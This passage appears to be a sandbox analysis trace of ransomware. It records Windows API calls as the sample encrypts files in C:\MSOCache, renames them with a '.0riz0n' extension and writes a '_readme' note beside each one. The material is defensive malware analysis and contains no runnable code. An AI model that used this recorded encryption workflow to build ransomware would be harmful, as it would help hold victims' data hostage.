users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400)) returned 1 [0088.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0088.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0088.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0088.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0088.970] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0088.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0088.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0088.971] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400)) returned 1 [0088.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0088.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0088.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0088.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0088.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0088.971] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400)) returned 1 [0088.971] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0088.971] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0088.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0088.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0088.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0088.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0088.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0088.972] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xa5b55ce0, dwHighDateTime=0x1d305f1)) returned 1 [0088.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0088.972] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0088.972] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0088.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0088.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0088.972] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0088.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0088.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0088.972] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0088.972] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0088.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x265400) returned 0x2350020 [0088.973] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x265400, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x265400, lpOverlapped=0x0) returned 1 [0089.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x265400) returned 0x25c0020 [0089.107] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25c0020*, pdwDataLen=0x17af858*=0x265400, dwBufLen=0x265800 | out: pbData=0x25c0020*, pdwDataLen=0x17af858*=0x265410) returned 1 [0089.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x265440) returned 0x2830020 [0089.166] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0089.166] WriteFile (in: hFile=0x1f0, lpBuffer=0x2830020*, nNumberOfBytesToWrite=0x265400, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2830020*, lpNumberOfBytesWritten=0x17af85c*=0x265400, lpOverlapped=0x0) returned 1 [0089.193] FlushFileBuffers (hFile=0x1f0) returned 1 [0089.201] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0089.201] NtClose (Handle=0x1f0) returned 0x0 [0089.202] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.0riz0n")) returned 1 [0089.202] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0089.203] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0089.203] GetLastError () returned 0x2 [0089.203] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xedb790, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0089.203] GetLastError () returned 0x2 [0089.203] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0089.203] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0089.203] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0089.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0089.204] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0089.204] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x49abb0f0, dwHighDateTime=0x1d59598)) returned 1 [0089.205] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0089.205] NtClose (Handle=0x1f0) returned 0x0 [0089.205] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0089.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0089.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0089.205] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2830020) returned 1 [0089.216] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0089.216] CryptDestroyKey (hKey=0x459b38) returned 1 [0089.216] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0089.216] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0089.216] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0089.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0089.216] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac)) returned 1 [0089.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0089.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0089.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0089.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0089.217] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0089.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0089.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0089.217] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac)) returned 1 [0089.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0089.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0089.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0089.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0089.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0089.217] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac)) returned 1 [0089.217] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0089.218] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0089.218] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0089.218] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0089.218] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xa5b2ebe0, dwHighDateTime=0x1d305f1)) returned 1 [0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.218] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0089.218] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0089.218] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0089.218] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0089.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0089.219] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0089.219] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0089.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xf3a868 [0089.219] ReadFile (in: hFile=0x1f0, lpBuffer=0xf3a868, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesRead=0x17af85c*=0x5ac, lpOverlapped=0x0) returned 1 [0089.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xef94d8 [0089.220] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x5ac, dwBufLen=0x9ac | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x5b0) returned 1 [0089.220] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0089.220] WriteFile (in: hFile=0x1f0, lpBuffer=0xf3a868*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesWritten=0x17af85c*=0x5ac, lpOverlapped=0x0) returned 1 [0089.221] FlushFileBuffers (hFile=0x1f0) returned 1 [0089.229] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0089.229] NtClose (Handle=0x1f0) returned 0x0 [0089.229] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.0riz0n")) returned 1 [0089.230] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0089.230] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0089.230] GetLastError () returned 0x2 [0089.230] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xedb7b0, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0089.230] GetLastError () returned 0x2 [0089.230] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0089.231] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0089.231] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0089.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0089.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb) returned 0x30d630 [0089.232] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e9, lpOverlapped=0x0) returned 1 [0089.232] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x49b073b0, dwHighDateTime=0x1d59598)) returned 1 [0089.232] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0089.232] NtClose (Handle=0x1f0) returned 0x0 [0089.232] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0089.232] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0089.232] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0089.232] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0089.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0089.233] CryptDestroyKey (hKey=0x459b38) returned 1 [0089.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0089.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0089.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0089.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0089.233] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd)) returned 1 [0089.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0089.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0089.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0089.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0089.234] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0089.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0089.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0089.234] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd)) returned 1 [0089.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0089.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0089.234] RtlFreeHeap (HeapHandle=0x300000, 